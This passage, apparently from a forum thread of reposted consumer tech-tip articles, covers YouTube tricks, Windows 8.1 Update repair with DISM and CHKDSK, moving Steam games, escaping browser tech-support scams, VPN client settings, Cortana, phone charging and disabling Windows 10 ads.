Lyrics for YouTube extension. The extension uses Musixmatch’s extensive catalog of song lyrics and syncs them to YouTube videos in time with the music. This is a fun tool that can be used to host a makeshift karaoke party — or you can just use it to see what exactly Bruno Mars was saying in the middle part of “24K Magic”. 4. Share Videos at a Specific Time Signature This is one of the simplest tricks on this list, but it is, perhaps, the most useful. If you want to share a video with a friend but have it start at a specific time, simply play the video and pause it where you would like to begin. Then, right-click on the video and select “copy video URL at current time.” That’s it. Now all you have to do is pass the link along. When clicked, the video will begin playing at your saved point. 5. Add a Watermark to Your Videos If you upload videos regularly and would like to personalize them with your own branded watermark, there’s an easy way to do that on YouTube itself. First, click on your account icon in the upper right corner and select “Creator Studio”. On the menu that appears on the left side of the screen select “Channel,” and then “Branding”. From here you can click “Add Watermark,” which brings you to a screen where you can upload a file you have saved on your computer. As YouTube notes, the best watermarks use transparency and just one color. 6. Add Clickable Image Cards to Your Videos For this trick, you’ll again want to click on your account icon and go to “Creator Studio”. Click on the uploaded video you’d like to add the image to and click “Edit”. After this, click on “Annotations,” then select where you’d like the image to appear and at what point in the video you’d like it to appear. One tip: You need to include the image in the video before you upload it to YouTube. Make sure you enable your account for external annotations. Click on “Add Annotations” and select the “Spotlight” option. Drag the box around the image you’d like to be clickable. Then click “Link” and add the URL of the site you’d like to link to. This strategy is great if you’re looking to drive traffic to your website using videos on YouTube. 7. Use YouTube TV Mode for Large Displays Sometimes you’d like to play videos from YouTube on a screen larger than a smartphone or tablet. When that’s the case, use the handy YouTube TV mode. Whether you’re streaming videos on your smart TV or projecting them onto a wall, switching to this view will keep your video quality from looking overly grainy or low-quality. You can also use this viewing distance calculator to figure out how far away to sit from the screen for optimal viewing. 8. Add Visual and Audio Effects to Your Videos Adding visual effects to your YouTube videos is fairly straightforward. First, select the video you’d like to edit from the Video Manager. Click on “Edit,” and then select “Enhancements”. From here, you can play with a number of video editing options, such as lighting, saturation, and contrast. You can also slow down or speed up your videos. To adjust audio effects, simply select “Edit,” but this time, select “Audio”. Here you can try out the various audio options YouTube offers for your videos. 9. Identify Music in YouTube Videos Sometimes YouTube videos include background music you’d like to learn more about. For this, all you need to do is paste the video URL in the bar on the MooMash site and let it do the work for you. After a few seconds, the site will tell you which pieces of music appear in the video in question and at what point in the video they play. 10. Slow Down Tutorial Videos One of the great uses for YouTube is learning how to do certain things via tutorial videos. This could be anything from tying a necktie to decorating a cake. While these videos are often helpful, they can sometimes be hard to keep up with. In this situation, YouTube has a built-in feature that’s particularly useful. Click on the “Settings” icon at the bottom of the video, and then select “Speed”. Here you can slow the video down to either 50 percent or 25 percent of its original speed. Conversely, if a video is going a bit too slow for you in certain portions, you can use the “Speed” option to make it run up to twice as fast as normal. Using YouTube to watch videos is already great, but getting to know these tips and tricks can enhance the experience even more. How Will You Get More Out of YouTube? After you start using these YouTube tricks, you’ll wonder how you ever lived without them. Sure, watching videos on YouTube is easy enough, but these simple hacks and entertaining tips will give you an entirely new experience on the site. Check them out! Article source
  9. [Guide + Tested Fix] Windows Update in Windows 8.1[x86+x64]: Slow/Not Checking for Updates - High CPU/RAM Usage - Internet Usage but no updates detected - Last Update stays Days Ago or Never - No Internet Usage - Slow Installation Issues Many people fed up with Windows Update issues and many sites/forums and even the Microsoft Support requesting for a refresh/reset/reinstall/clean installation of the OS[Windows 8.1]. However, it is unnecessary if you follow the below tested guide. Also, those who have already done refresh/reset/reinstall/clean installation of the OS can make use of the fix in the end of the guide directly to fix Windows Update Issues. Many wonder when they install Windows 8, windows updates work fine but after upgrading to Windows 8.1, the issue starts again. Many of Windows troubleshooting guide including the Microsoft Support guides and everywhere ask users to Enable Automatic Updates and it'll download the necessary updates to fix the issue for recently installed OS devices[clean/fresh install]. However, this isn't working for most people. Also, the settings "Metered Connection", "Automatic Updates linked to Maintenance", Fast Startup and more settings hinder the normal fix on Windows 8/8.1 and later. Microsoft is really making things hard. If you wait for maintenance to fix, it won't. You'll either end up with maintenance completed but issue not fixed or maintenance doesn't run at set time. FYI: In my context, Windows Update corruption is mostly linked with inbuilt background tasks like Maintenance, Automatic Defragmentation and some of our own/scheduled/set time for "Sleep" or "Hibernate" settings/config. Note: Some sites/forums incl. Technet/Microsoft Support may recommend entering Audit Mode/OOBE Mode using Sysprep to check for updates and then boot to normal mode. However, it is currently reported by many that Windows Update doesn't detect any updates in this mode but stuck in checking for updates loop and also your OS may enter into Audit mode loop which mostly the tricks to come out doesn't work at all. It happened to me once. I had to re-install the OS completely again. Hence, please don't ever test it to fix Windows Update issues. FYI: In this guide, I'm not mentioning KB2919355 since the newer windows installation ISO already include this update. If you have a much older ISO, then you should check in "Installed Updates". If not found, download and install this update from here: x86 or x64. Please read install instructions and install the updates in the specified order or you'll land in a new trouble. Read "Steps to Avoid Searching for Updates Issue while using Standalone Installers" in the end of this post for faster installation initiation of standalone installer. Basic Steps: Note: Not applicable to recently installed OS devices[clean/fresh install] or if you recently used refresh/reset. Please skip the basic step and move to the next step. Others, follow the Basic Steps before proceeding to "Windows Update Fix - Tested". In Windows 8.1, if you experience issues with Windows Update, please follow the basic steps one after another. Check Connection Settings: Open "Internet Options" from IE or open Windows Explorer and copy paste "Control Panel\Network and Internet" and press enter. Click on "Connections" tab. Then click on "LAN Settings". Make sure "Automatically detect settings" is Enabled and others incl. Proxy are Unchecked. Now follow the further steps. Check Windows Update is turned on with proper setting and you have a stable internet connection: Note: Make sure that updates are turned on for other Microsoft Products and Services. You can check this here: Open Windows Update, you should see that: You receive updates stating "For Windows and other products from Microsoft Update". If it states, "Windows only", then click on "Change Settings" and check the box under "Microsoft Update". Inbuilt Windows Update Troubleshooter & Standalone Troubleshooter: Open Control Panel, Click "Find and Fix Problems". Alternatively, copy paste "Control Panel\All Control Panel Items\Troubleshooting" in address bar without quotes in windows explorer. Or Open Action Center and click "Troubleshooting". Under "System and Security", Click "Fix problems with Windows Update". Click on "Advanced" and click "Run as administrator". Now, click Next. Optionally, if you want to know the issues detected before fixing, then uncheck the "Apply repairs automatically" and then click Next. Take note of the detected error codes, issues and the fixes done. It'd be helpful, if you still have trouble after applying all the steps. Now Reboot[make sure the fast startup is disabled] in power options. Power Options-> Choose what the power buttons do -> change settings that are currently unavailable. After reboot, open both the task manager[to check network usage and activity, CPU usage and RAM usage] and Windows Update. Now, click on Check for Updates. Max time to wait on an average internet speed is 1 hour. If it solves the issue, well done. If not, try the same using latest Diagnostic Windows Update Troubleshooter from here. CHKDSK in command prompt: Open elevated command prompt, which means Command Prompt[Run as administrator]. Press "Ctrl + X" and press "Shift + A". Note: If your main partition is not "C:" drive, replace the "C:" with your main partition drive letter in the command "CHKDSK C: /F /R" without quotes and run it. It should ask for reboot(s). It should fix some Windows Update issues. If you still have issue with Windows Update, proceed to next step. Inbuilt DISM Tool: Make sure that you have internet connection turned on. Also, make sure you keep a copy of the log file from "Main partition->Windows->Logs->DISM->dism.log" after running "ScanHealth" or "RestoreHealth" or "Start ComponentCleanup". Open elevated command prompt, which means Command Prompt[Run as administrator]. Press "Ctrl + X" and press "Shift + A". Now, run the command "DISM /Online /Cleanup-Image /CheckHealth" without quotes. It should show no component corruption found. If it shows corruption found, run the command "DISM /Online /Cleanup-Image /ScanHealth" to check if the corruption is repairable. If repairable, Run the command "DISM /Online /Cleanup-Image /RestoreHealth". Note: It'll take few mins to hours. It starts doing its work from 20%. However, it stops in 40% too. If it shows corruption fixed, then the DISM part is over and proceed with sfc scan step-7. However, if you get corruption not fixed, then proceed with the sub-steps below. You need a Windows 8.1 OS installation ISO with "install.wim" file located in "sources" folder. If you don't have one, you can get it from Tech Bench download ISO for Windows 8.1. Since the Tech Bench download page is blocked after Windows 10 upgrade offer ended, Please Reply to this thread and I'll provide the unique Microsoft download link in PM. Once you have the ISO, mount the ISO. No need of third party tools. Just right click the ISO and choose "Mount". Now, open elevated command prompt and run the command "Dism /Online /Cleanup-Image /RestoreHealth /Source:wim:D:\sources\install.wim:1 /LimitAccess" Note: Replace "D:" with the exact drive letter of the mounted ISO. It should fix the corruption. If you get error, run the command "Dism /Online /Cleanup-Image /StartComponentCleanup" and then run the RestoreHealth Command above. If corruption is fixed, then you should run the sfc /scannow. You can view the usage guide here. Make sure you keep a copy of the log file from "Main partition->Windows->Logs->CBS->CBS.log" Now Check for Updates in Windows Update and if still taking hours with no detection or no internet usage with more CPU usage, proceed to next step "Windows Update Fix - Tested". Windows Update Fix - Tested: Note: This fix is also applicable for clean install / refresh / reset / recently installed devices. This fix doesn't have any Windows 10 connection or telemetry which makes it trusted fix from Microsoft. Download using Microsoft Update Catalog: Note: If you use IE with Microsoft Update Catalog with addon, you can continue using IE. Or if you have other browsers, you can use it instantly without any addon installation. Visit this page and click "Download" according to architecture and OS installed. In the pop-up window, click the link to start downloading the .msu file. Download from Download Center: You can visit this KB Details page and locate the downloads according to architecture and OS installed. Steps to Avoid Searching for Updates Issue while using Standalone Installers: Change Windows Update Setting to "Never check for updates" and Disable/Disconnect Internet. Install the update. Note: After installation started, change Windows Update Setting to "Check for updates but let me choose whether to download and install them" and enable Internet. Note: If you are already in a search for updates loop in standalone installer, close the window and use end process tree in open task manager -> Details tab -> wusa.exe. Once done, open main partition in Windows explorer and delete the newly created folder named in a type of encrypted code. Then follow the above 2 steps to install again. [Not-Recommended Fix] Alternatively, If you like to fix with Win 10 related update, you can manually install alternate fix KB3112336 or any newer Windows Update Client for Windows 8.1. Source: My own article guide by personal experience. Update - New Windows Update Client to fix if the above fix doesn't help:
  10. How to Move a Steam Game to Another Drive Without Re-Downloading It Steam offers multiple library folders, and you can choose where you want to install games when you download them. There’s no obvious way to move a game to another drive after the fact, though–but it is possible, without re-downloading the entire thing. This process can save you from downloading tens or even hundreds of gigabytes of game data all over again, just because you got a new SSD and want to move a few games. It’s different from moving an entire Steam library folder and every single game inside it–in this case, we only want to move a few games. RELATED ARTICLE: How to Painlessly Move Your Steam Library to Another Folder or Hard Drive Step One: Create a Second Steam Folder First, you’ll need to make a Steam library folder on the second drive if you haven’t already done so. To do this in Steam, click Steam > Settings. Select the “Downloads” category and click the “Steam Library Folders” button. Click “Add Library Folder”, select the drive you want to create the library folder on, and click “New Folder”. Give it whatever name you like, click “OK”, and then click “Select” to choose the folder you just created. The folder you chose will appear in the Steam Library folders list. You can now close this window. Open File Explorer or Windows Explorer and navigate to the folder you just created. There should be a “steamapps” folder inside the main folder. If there isn’t, right-click inside the Steam folderyou created, select New > Folder, and name it “steamapps” (without quotes). Inside the steamapps folder, right-click, select New > Folder, and name it “common” (without quotes). When you’re done, the folder structure should be: [Your Steam Library Folder]\steamapps\common Step Two: Copy the Game Files to the Second Library You’ll now need to move a game’s files from the first Steam library to the secondary Steam library you just created. Locate the installed game you want to move in your Steam library, right-click it, and select “Properties”. Click over to the “Local Files” tab and click “Browse Local Files”. You’ll be taken to the game’s folder in your main Steam library folder. Click the “common” folder in the address bar to go up a folder. Right-click the game’s folder and select “Copy”. Go back to the Steam library you created earlier, right-click inside the “common” folder, and select “Paste”. Windows will copy the files from your first Steam library to your second Steam library. Wait for the process to complete before continuing. Depending on how large the game is and how fast your drives are, this may take some time. Step Three: “Uninstall” the Game Next, you’ll need to uninstall the game from within Steam. Steam will delete the game’s files from their location in the original Steam library, but the files you copied to the second Steam library won’t be touched. Warning: Be sure to wait for the file copying process to complete before you uninstall the game! To uninstall the game, right-click it in Steam and select “Delete Local Content”. Click “Delete” again to delete the game’s files from your first library. Step Four: “Reinstall” the Game You’ll now need to reinstall the game as if you were re-downloading it–but don’t worry, Steam won’t re-download the game. Locate the game in your Steam library and click the “Install” button. Select the secondary library location where you copied the game’s files earlier under “Choose location for install” and click “Next”. Steam will check the library location and say it’s “discovering existing files” before downloading anything. This will take some time, as Steam is actually inspecting the files on your second drive to find they’re correct and not corrupted. If a few files are missing for whatever reason, Steam will just download those files. It won’t re-download the entire game. You’re done. Steam now considers the game installed in the second library. To move other games, just repeat this process. You can skip the first step and copy more game folders to the “common” folder in the second Steam library you created. Source
  11. Browser based Tech Support Scammers keep coming up with new and innovative methods to prevent users from closing their browsers. While Tech Support Scam Trojans are more difficult to remove then their browser based counterparts, browser based tech support scams are still worrying to many people who encounter them. For many who are not experienced in computers, when they see a fake browser tech support scam message, they become concerned that there is something wrong with their computer. While people are becoming more educated and realize that they are simply no more than an advertisement, tech support scammers are coming up with trickier methods to prevent a user from closing their browser. For example, while recently looking for adware bundles, I ran into a browser based tech support scam that I have not seen before. In this scam, when you move your mouse cursor over the web browser showing the scam, the mouse cursor disappears. Instead you will see a mouse cursor moving randomly over the page, which is the scammers trying to trick you into thinking your mouse is not working properly. This is illustrated in the video below. As you can see from the above video, I have full control over my mouse when outside the browser Window. You can also see a mouse cursor moving around on its own in the Window. When I move my mouse into the browser window, though, I no longer have control over the mouse cursor. This makes it difficult to close the alerts being shown and thus the browser window. Ultimately, Browser Tech Support Scams are still really easy to close. Thankfully, no matter what tricks a browser tech support scammer throws at us, there is always a simple weakness. If the browser is closed, the alert goes away with it. With that said, if you are affected by a browser tech support scam in the future, do not worry and instead simply close the process associated with your browser. To do this you should open task manager by right-clicking on the time displayed in the Windows taskbar as shown below. Then select the Task Manager option. Open Task Manager When Task Manager opens it will display a list of applications that are currently running. Look for the application that is currently showing the tech support scam and select it by left-clicking on it once. For example, in the image below I have selected the Google Chrome applications. To close the application simply click on the End task button as indicated by the blue arrow below. Task Manager Your browser should now close. When you next start the browser, if the browser prompts you to restore any previously open Windows, do not allow it to do so as this will just reopen the tech support scam site. If for some reason you continue to see these types of fake security alerts in your browser, you may be infected with adware. Article source
  12. Generally, people opt for a wired broadband connection so as to boost up their internet speed. However, in some cases, having a faster internet broadband connectivity might not render high speed at times when you’re in an urgency. Usually, you may have 1 or 2 Mbps internet connection or more than that, but yet you can see your videos buffer a lot while trying to watch them on YouTube or any other site. There are pretty many ways to acquire high-speed internet on your device. So, I have come up with a detailed guide on how to increase your internet speed in a just fraction of a second. Check out simple procedure given below and see how to browse the internet with powerful 500 Mbps speed! Just follow simple steps and you can certainly experience high-speed internet! Take a look! Rabb.it – Get High-Speed Internet! Are you astonished upon looking at the title and wondering how this can be possible? Well, this is, of course, true but, it is partially true. You can acquire a 500 Mbps faster internet, but not in your PC. It is a Remote Desktop with a browser wherein you will have full control over it. You can do almost everything with it, and one amazing thing about this website is that you can surf the internet at a faster speed as all the sites will load very faster within no time. You can also enjoy watching your favorite videos on YouTube, Netflix, Hulu, etc. instantly without any kind of sluggish buffering. Here is a website called Rabb.it which is a website meant for chatting that also lets you use your webcam, microphone or text only. But, it’s not just for the purpose of text or video chatting, it provides something more than this. You can also use Rabb.it as a browser to browse the internet at a high-speed. A startup was originated few years back called Rabb.it with the aim of rendering quality video chatting experience for all the users. Features of Rabb.it Rabb.it offers plenty of features so that people who are looking to acquire high-speed internet can use this website and enjoy surfing the internet at a faster speed. Check out the features of Rabb.it. You can have an interactive chat session with your friends and beloved ones both text and video chat. You can communicate with everyone worldwide and share content. Using Rabb.it, you can enjoy watching movies, TV shows, and other YouTube videos together. It is absolutely flawless and FREE to use. You can acquire high-speed internet. It also provides a feature called as “Rabbitcast” in which you can browse any website and play videos quickly. You can even download huge files which can be downloaded at a faster speed. But, you can’t download them on your PC’s physical drive. You can just upload it to Cloud sources like Google Drive or Dropbox and download it later. How to Use Rabb.it with a Speed of 500 Mbps? Initially, visit the rabb.it website on your PC or Laptop and just hit on sign up to create a new account. Now, you need to register yourself by filling all the details like Name, Email, and password. Just confirm your account by clicking on the link you’ve received on your email. You can also log in using Facebook account if you are too slothful to fill up details! Once you login, you will get a screen where you will be asked, “How do you want to Rabbit?. Just pick “Messages only”. You will then get another screen wherein you need to click on “Decide what to watch”. Upon clicking on that, a small pop-up will be displayed in which you need to select any of your favorite site listed there. Or else, you can merely type the URL of the website which you wish to browse. This is how it looks like in the browser. If you don’t like the quality of the video, you can just turn it from LD to HD at the bottom of the page. You can now treat it like an ordinary computer and handle it! It just works like Virtual Private Network or remote controlling a desktop. This virtual device has Linux operating system and you cannot do many tasks like in your normal PC. This is the best way to watch youtube videos at HD quality even on a slow connection, without interruptions. You can download any files and upload them to cloud services like Google Drive, Dropbox within a less span of time. Note: You need a PC or a Laptop. This website doesn’t work on a mobile device. You need to have a stable connection with a minimum speed of 1 Mbps to stream the Rabbitcast live desktop. Article source
  13. Ultimate list of the Top Fun Things to do With Google Search or the “Hidden Google Tricks”. Just like our brains, we utilize less than 20% of Google’s potential. There are numerous hidden tricks and Easter eggs in not just its search engine but also in Google maps, Google Earth, GDocs, Hangouts and even Google translate. Enough chit chat. Who wants have some fun with Google! Entering certain words into Google makes it do funny, interesting or weird things. It may even present you with games on the search results page for some words. So enjoy! Best Hidden Google Tricks 399999999999999-399999999999998 – Google search says the answer is zero! Wolfram Alfa calculates the same to ‘1’. The mystery behind this is yet to be solved. Festivus – The holiday, which originated on the show “Seinfeld” in 1997, generally takes place on Dec. 23. In celebration of the holiday, when you search “Festivus” Google displays the traditional “Festivus” pole. The loneliest number – The answer to this question will shock you to your very core. Webdriver torso – Turns the Google logo into the moving colored blocks. Webdriver Torso is a YouTube account made by Google that posts mostly 11-second videos consisting of blue and red rectangles that change position, accompanied by a series of beeps which change in pitch. This is one of the best fun things to do with Google search. Super Mario Bros – Shows an info card for Super Mario Bros. Clicking on the flashing question mark generates a coin and 200 points. After 100 coins, the “1UP” sound plays. I killed about 30 mins on this. Google in 1998 – Will generate a layout similar to the one Google used for its search engine in 1998. And it’s only available for 1998 and not any other year. Conway’s Game of Life – Ggenerates a running configuration of the game to the right of the search results. The process cannot be stopped or altered by the user once it starts. So try at your own risk! Google.com/teapot – Returns a page that says “418. I’m a teapot” among other things. Clicking on the teapot will make it tip over and pour out. Google engineers have way too much free time.Once in a blue moon – Its not a vague term like you think. It’s a specific number. The answer to life, the universe and everything presents – is 42. There, you have it! Cool things you can do with Google Bletchley Park – Will show an info card on the side of the page where the headline will be decoded in real time. Bletchley Park is the location of the U.K.’s code-breaking center, which helped the allies break axis power codes in WWII. Flip a coin – A coin will be flipped and returned via your CD tray or the slot where you enter the floppy disc. Roll a die – Unfortunately, unlike the coin, only a virtual die will be rolled and the result will be displayed. How boring! Pacman – Click to play the popular game Pacman (with the same music and sounds). Bacon Number – [Any actor’s name] followed by “Bacon Number” will reveal how many degrees of separation they are from actor Kevin Bacon, who has been the victim of the “Six Degrees of Kevin Bacon” game since the 1990s. More tricks list here
  14. [How To] See Which Terminal Commands You Use The Most A lot of us use the command line on a regular basis, be it to do some simple package management with apt or monitor system resources with top. Have you ever wondered which commands you use most often? There’s an easy way to find out. Run the following command in a new terminal window to see a list of your 10 most used terminal commands (and a small tally of how often you’ve used each): history | awk '{print $2}' | sort | uniq -c | sort -rn | head -10 Naturally these stats aren’t of any real practical value. And if you regularly clear the bash cache it may not even be hugely accurate. It also doesn’t count complete commands (e.g, ‘sudo apt update‘). But for curiosity’s sake it can be interesting to see which single commands you enter most often. My results show I’ve used the command ‘cd‘ (used for moving between directories) most often, at a rather puzzling 1,245 times since installing Ubuntu 16.04 LTS! Second was ‘sudo‘, and third, with a more modest runtime tally of 345 is ‘top‘. Want to see more than 10 commands? Just edit the number at the end of this command to the number of commands you’d like to see (e.g, -14 to see the top 14, and so on). What are yours? Source
  15. All Private Internet Access Settings Explained The guide provides explanations for all settings and features of the Private Internet Access client for the Windows operating system. Private Internet Access is a popular VPN provider. The company has a strict no-logging policy which have been verified in court this year. Customers may download one of the available clients for their operating system. The Windows client ships with a list of features that you may enable to improve your privacy and security while being connected to one of the company servers. The following guide lists and explains all settings that the Windows client version of Private Internet Access provides currently. We have used the latest version of the client, version 0.65, for that. We will update the guide when features change. If you notice that before us, let us know in the comments so that we can update the article. Private Internet Access VPN Settings You can open the settings by right-clicking on the Private Internet Access icon in the Windows system tray area. Please note that you can only access the settings if you are not connected to the VPN at that time. If you are, you need to disconnect first before you can do so. The client uses three configuration pages of which one, simple, is not of much use. Advanced Settings The advanced settings page, which you see on the screenshot above, lists several options that you want to check out and configure. Username: your PIA username Password: the associated password of the account. Start application at login: whether the VPN software is started on Windows boot. Auto-connect on launch: whether the software connects to the VPN server when it is started. Show desktop notifications: whether notifications are shown on the desktop (e.g. on connection or disconnect). Region: The region you want to connect to. Tip: You can run speed tests for any server region to find out how well it performs. Connection type: Select UPD or TCP as the connection type. Default is UDP. Remote port: Set to auto by default, but you may specify a port there. Local port: Set a local port. Request port forwarding: The port that is being used is shown when you hover over the PIA icon in the system tray area. This can be useful to set it up in applications. PIA MACE: This is a new feature of Private Internet Access. It acts as a blocker for advertisement, malware, trackers and other undesirable elements. You have no control currently apart from enabling or disabling the blocker. VPN Kill Switch: This terminates the Internet connection if the connection to the VPN drops. Useful if you don't want your "real" IP address to be logged by services you connect to while using a VPN. IPv6 leak protection: This disables the use of IPv6 while connected to the VPN. Use small packets: If you notice connection issues, e.g. connections that drop frequently, you may want to enable this option to see if it resolves that issue. Debug mode: You may be asked to enable debug mode by PIA support. The log is written to C:\Program Files\pia_manager\log. While it is up to you and your requirements what to enable on the settings page, it is usually a good idea to enable all features but PIA MACE and Debug mode. Encryption A click on encryption displays options to set various encryption related parameters. Data Encryption: Select one of the available encryption standards. Available are AES-128, AES-256 and None. Data Authentication: Select one of the available cryptographic hash functions. Available are SHA-1, Sha-256 and None. Handshake: Encryption used to establish a secure connection with Private Internet Access servers. Pia uses TLS 1.2. The default is RSA-2048. The selection depends largely on your requirements. Want maximum protection? Select AES-256, SHA-256 and RSA-4096. Want all speed and no safety at all? Pick None, None and ECC-256k1. The default recommendation is AES-128, SHA-1 and RSA-2048. The client displays warning if you choose none for data encryption or data authentication, or when you chose ECC for Handshake. Now Read: Private Internet Access rubyw.exe connections explained Source
  16. Cortana has been designed to do a lot of things, and here we show you a bunch of tips and tricks you can use to be more productive on Windows 10. Cortana on Windows 10 is always ready in the taskbar, or a voice command away, to help you with virtually anything you need. Similar to Google Now and Apple's Siri, Microsoft's digital assistant can create reminders, schedule appointments, track packages and flights, suggest recommendations, find files, and even tell you a joke when you're feeling bored. The fact is that if you haven't been using Cortana, you've been missing out on many cool things you can do. Although there is not a "master list" of everything you can do with the assistant, here's a list with some of the most productive tips and tricks you can do with Cortana on Windows 10. How to use Cortana to manage your calendar How to use Cortana to create notes How to use Cortana to set an alarm How to use Cortana to set timer How to use Cortana to play and search music How to use Cortana to open apps How to use Cortana to send a text message from your PC How to use Cortana to send a quick email How to use Cortana to do math and conversions How to use Cortana to find facts How to use Cortana to move with traffic How to use Cortana to translate languages How to use Cortana for technical support How to use Cortana to manage your calendar Similar to a really world assistant, Cortana can also do an excellent job managing your calendar using the Calendar app. To create a new calendar event, do the following: Open Cortana. In the search box type the following command: Create a calendar event and press Enter. Enter the information for the event. Make sure to add it to the correct calendar. Click Add to complete the task. If you want to use voice commands, you can simply say "Hey Cortana", or click the microphone icon in the search box, followed by the command. Here are some examples: Viewing calendar events "What's on my calendar for today?" or "How's my schedule like this week?" Adding new calendar events "Add dental appointment for tomorrow at 4 pm" or "Add business meeting for Friday at 9 am" Moving calendar events "Move dental appointment to Tuesday 11 am" or "Move business meeting to tomorrow 2 pm" Remember that you can always type your voice commands in the search box, instead of saying them aloud. It's all the same for Cortana.
  17. Is It A Good Idea To Charge Your Smartphone Overnight? Will Charging Your Smartphone Overnight Damage It? Here’s What You Should Know There are chances that many of us plug in our smartphone for charging while going to bed at night, so that you do not have a fully drained device or low battery while rushing to work or travelling, etc. If you think that charging your device overnight is a good idea, you may want to think again. If you plan to upgrade your smartphone every two years, leaving your device to charge overnight will not do much damage to your battery. Experts say majority of the time those people are not going to notice much damage to their smartphone batteries before they start wishing for a new device. However, frequent charging does damage the lithium-ion batteries in our smartphones. And it’s not because they can be overcharged, said Edo Campos, a spokesman for Anker, which produces smartphone chargers. “Smartphones are, in fact, smart,” Mr. Campos said. “They know when to stop charging.” In other words, smartphones are designed to understand when the battery is at capacity, and should at that point stop absorbing additional electrical current. According to a report by The New York Times, Android smartphones and Apple iPhones are equipped with chips that protect them from absorbing excess electrical current once they are fully charged. Theoretically, any damage from charging your smartphone overnight with an official charger, or a trustworthy off-brand charger, should be negligible. The report stated that most smartphones use technology that allows their batteries to charge faster, but this process leads to lithium-ion and lithium-polymer batteries rusting faster. If a user wants to preserve the life of their lithium-ion battery beyond the typical lifetime of a smartphone – usually two years – they can try using a charger made for a less-powerful device, stated the report. Source
  18. How to Disable All of Windows 10’s Built-in Advertising Windows 10 has a lot of built-in advertising. This isn’t just about the free upgrade offer: Even if you purchase a new PC that comes with a Windows 10 license or spend $200 for a copy of Windows 10 Professional, you’ll see ads in your operating system. You can, however, disable a lot of it. Disable Lock Screen Ads RELATED ARTICLE: How to Disable Ads on Your Windows 10 Lock Screen Windows 10 now displays ads on the lock screen via Windows Spotlight. Sometimes, Windows Spotlight will just show off cool wallpapers, but it’ll also sneak in advertisements for games like Rise of the Tomb Raider and Quantum Break in the Windows Store. To get rid of these lock screen ads, head to Settings > Personalization > Lock Screen and set the background to “Picture” or “Slideshow” instead of Windows Spotlight. You’ll probably also want to disable the “Get fun facts, tips, and more from Windows and Cortana on your lock screen” option here, too. Stop Suggested Apps From Appearing in the Start Menu RELATED ARTICLE: How to Get Rid of “Suggested Apps” in Windows 10 Windows 10 will occasionally show “suggested apps” in your Start menu. Suggested apps aren’t necessarily free, and we’ve seen Microsoft use this feature to advertise $60 PC games from the Windows Store (which, by the way, you shouldn’t buy). But mainly, they just take up valuable space in your Start menu. To stop suggested apps from appearing in the Start menu, head to Settings > Personalization > Start and set the “Occasionally show suggestions in Start” setting to “Off”. Get Rid of Nagging Tips Windows 10 also has helpful “tips” that often serve to push Microsoft apps and services. Tips have included recommendations to use Microsoft Edge for better battery life, and an encouragement to use Microsoft Edge so you can earn Microsoft rewards points. If you’d like to just use your own preferred applications without Microsoft nagging you, you’ll need to disable these tips. To do so, head to Settings > System > Notifications & Actions and disable the “Get tips, tricks, and suggestions as you use Windows” option. Stop Cortana From Bouncing on the Taskbar RELATED ARTICLE: How to Disable Cortana in Windows 10’s Anniversary Update Cortana doesn’t just sit on your taskbar and wait for you to start talking to it. Cortana will regularly bounce in place, encouraging you to try using it. If you don’t want Cortana nagging you, click the Cortana search bar, click the Settings icon, scroll down, and disable the “Taskbar Tidbits” option. From then on, Cortana will sit quietly until you want to use it. If you don’t want Cortana running at all, you can choose to disable Cortana with a registry or group policy setting. Microsoft removed the old, easy toggle that lets you disable Cortana with the Anniversary Update, but the registry and group policy tricks still work. Banish “Get Office” Notifications RELATED ARTICLE: How to Disable the “Get Office” Notifications on Windows 10 Windows 10 includes a “Get Office” application that sits there, providing notifications suggesting you download Office 365 and enjoy a month-long free trial. To stop those Get Office notifications, head to Settings > System > Notifications & Actions, scroll down, and set notifications for the “Get Office” app to “Off”. You can also simply find the Get Office app in your Start menu, right-click it, and select “Uninstall”. However, it may come back when you update Windows 10 in the future. Uninstall Candy Crush Saga and Other Automatically Installed Apps Windows 10 “automatically downloads” apps like Candy Crush Soda Saga, Flipboard, Twitter, and Minecraft: Windows 10 Edition when you sign in for the first time. PC manufacturers can also add their own apps and live tiles that appear installed by default. These apps are installed as part of the “Microsoft Consumer Experience”. There was a group policy setting to disable this, but it was removed from consumer versions of Windows 10 in the Anniversary Update. Only Windows 10 Enterprise users–not even Windows 10 Professional users–can turn this off. You can remove these apps and tiles, however. To do so, just open your Start menu, locate any apps you don’t want to use, right-click them, and select “Uninstall.” Apps like Candy Crush Soda Saga and FarmVille 2: Country Escape will appear as tiles by default, but you can also find them under the all apps list. Some apps are simply given a tile but aren’t yet downloaded. To remove these tiles, just right-click the tile and select “Unpin from Start.” You won’t see an “Uninstall” option because the tiles are just links that take you to the Windows Store where you can download the app. Disable Live Tiles and Unpin Windows Apps RELATED ARTICLE: How to Make the Windows 10 Start Menu Look More Like Windows 7 While you can remove the apps that are installed as part of the Microsoft Consumer Experience program, Windows 10 also includes quite a few apps you can’t uninstall that advertise to you. For example, the Store and Xbox tiles often make use of the “live tile” feature to advertise apps and games Microsoft wants you to download. To disable live tiles that advertise to you, right-click a tile and select More > Turn live tile off. You can also just right-click a tile and select “Unpin from Start” to get rid of the tile entirely. You can even choose to unpin all the tiles and only use the All Apps list to launch apps, if you like. Avoid the Built-in Solitaire Game RELATED ARTICLE: You Don’t Have to Pay $20 a Year for Solitaire and Minesweeper on Windows 10 Stay away from the “Microsoft Solitaire Collection” game preinstalled on Windows 10. This app doesn’t just have advertising–it has video ads that are 30 seconds long. You can avoid the advertising by paying $10 a year. Microsoft’s Minesweeper game isn’t installed by default, but it too has its own $10 a year subscription fee. Those are steep prices for games that used to be free. Play another free Solitaire game instead. Google now offers a solitaire game–just search for “solitaire” and you can play ad-free solitaire in Google’s search results. We’ve also put up our own completely free Solitaire and Minesweeper games on URLs that anybody can access in a desktop browser. We didn’t put any ads in these games, so you can play ad-free: solitaireforfree.com minesweeperforfree.com Expect to see Microsoft add more advertising to Windows 10 in future major updates. Windows 10’s Anniversary Update turned more of the default tiles on the Start menu into “sponsored tiles”, for example. Source
